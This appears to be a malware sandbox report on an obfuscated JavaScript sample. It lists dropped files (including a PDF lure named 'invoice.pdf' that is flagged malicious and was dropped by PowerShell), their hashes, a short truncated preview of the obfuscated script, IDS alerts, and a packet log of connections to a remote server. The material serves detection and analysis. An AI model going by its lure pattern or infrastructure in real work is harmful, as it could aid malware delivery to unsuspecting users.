Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8a7f0377-6f47-42c1-b195-e80068a4fb21.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9b5aa109-55e7-463c-9343-9721ca6ffeb3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57837
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xfwYIGNPzWL07oYGZfAdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07c:JfwZG5WLxYGZQ3mlind9i4ufFXpAXkrj
MD5:	8E8D40A04CC64B58912137CCB55CDB77
SHA1:	0A400C1F88C8EBE5B92426154347F1CD3F80EE12
SHA-256:	A2E9A2F6BB11F17FC1F61B024ECD274A16E00F19BC581374A2944529F2A907FD
SHA-512:	B2EBDEFE9D43F7B73F8ECAE59F15DDA50B34407E6AC9F31ADE5003FE017F71C2EF12FEAEF40A9BC0701C9BC6AD369BF6DD30DCD2649FB1E158DE2E8F49F9B194
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a44bf3f5-dd0c-446b-809b-c234ab1caef5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17919), with CRLF line terminators
Entropy (8bit):	4.929381782831447
TrID:
File name:	1446217142313155154.js
File size:	21'487 bytes
MD5:	1aaa2096a8ecfa4b40770a5a3f31dc91
SHA1:	4ea4b465287717d930d770ab2da8aef41a1b740a
SHA256:	6f358e6d6cad0a4f82f9eeb10db6ffce57ec6aeb0e0bd1b9d0446bb6c03160a2
SHA512:	d3175c0e0024b5d177fddfc518dde204690ed062b439eee0d950ade65248d194bf1a2571a217bf3dd44ce9fa215da0e118c7388ecb5281fb8b0b410c295141cc
SSDEEP:	384:R5IKCnNedzaD8TL0ZM68U6MlJ3vAyoj/jt5dFBku9O:R5IKCnG/0Wjdku9O
TLSH:	49A2451CC10DC7998BD92AB019AF411CBAB504CD99788369AC238D580ECFB7E76D3D76
File Content Preview:	function bmyqmq(){gdjicyjr=[1031,3079,5127,4103,2055,3072];var ipdrkhtq=this[pnjpgt+ypiszc+hlwum+fbihvyo+domaui+tdqmrwiqi+tifeaxudf+mbrmwawa](this[amylupcpn+xozmzks+mxvzfqbkf+hlwum+hzgxnu+pnjpgt+mbrmwawa][yzxlrsanb+hlwum+domaui+ypiszc+mbrmwawa+domaui+szln

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:49:43.204603+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.10	49727	193.143.1.205	80	TCP
2025-01-10T19:49:45.774831+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.10	49744	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:49:42.389820099 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:42.394951105 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:42.395031929 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:42.398159981 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:42.403002024 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204353094 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204396009 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204449892 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204521894 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204550982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204600096 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204602957 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.204602957 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.204633951 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204667091 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204708099 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.204718113 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.204718113 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.204752922 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.207609892 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.210160971 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.210196972 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.210267067 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.251523972 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.251560926 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.251602888 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.251679897 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.306463003 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.328159094 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328232050 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328289986 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328321934 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328356028 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328391075 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328424931 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328666925 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328706980 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328722954 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328767061 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.328767061 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.328769922 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328788042 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.328891993 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.329510927 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.329531908 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.329545975 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.329556942 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.329569101 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.329637051 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.329637051 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.330346107 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.330358982 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.330372095 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.330383062 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.330395937 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.330398083 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.330456018 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.330456018 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.343817949 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.375473022 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.375534058 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.375569105 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.375576019 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.375602961 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.375637054 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.375653028 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.375726938 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.420314074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.420357943 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.420583963 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.452019930 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452058077 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452091932 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452126026 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452148914 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.452161074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452194929 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.452212095 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452245951 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452255011 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.452399969 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452445984 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.452451944 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452486992 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452518940 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452553034 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452564001 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.452585936 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452644110 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.452647924 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.452688932 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.452697039 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453385115 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453421116 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453453064 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.453464985 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453497887 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453532934 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453556061 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.453566074 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453582048 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.453602076 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453635931 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.453659058 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.454399109 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.454437017 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.454471111 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.454480886 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.454504967 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.454540014 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.454569101 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.454572916 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.454577923 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.454607964 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.454643965 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.454649925 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.455224991 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.455260992 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.455274105 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.455296040 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.455348015 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.455384016 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.455391884 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.455414057 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.455421925 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.467731953 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.467767954 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.467787981 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.467803955 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.468029022 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.499159098 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.499217033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.499252081 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.499279976 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.499284983 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.499336004 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.499357939 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.512666941 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.512698889 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.512722969 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.512734890 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.512748957 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.512758970 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.512779951 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.512840033 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.544270039 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.544287920 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.544363976 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576087952 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576224089 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576262951 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576306105 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576312065 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576364994 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576366901 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576400995 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576437950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576467037 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576472998 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576518059 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576534033 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576567888 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576602936 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576611996 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576637030 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576670885 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576689005 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576771975 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576807976 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576817036 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576884031 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576917887 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576930046 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.576953888 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576988935 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.576994896 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.577023029 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577059031 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577063084 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.577317953 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577352047 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577378988 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.577385902 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577419996 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577431917 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.577460051 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577492952 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577501059 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.577528000 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577564001 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.577569008 CET	49727	80	192.168.2.10	193.143.1.205
Jan 10, 2025 19:49:43.577982903 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578017950 CET	80	49727	193.143.1.205	192.168.2.10
Jan 10, 2025 19:49:43.578026056 CET	49727	80	192.168.2.10	193.143.1.205
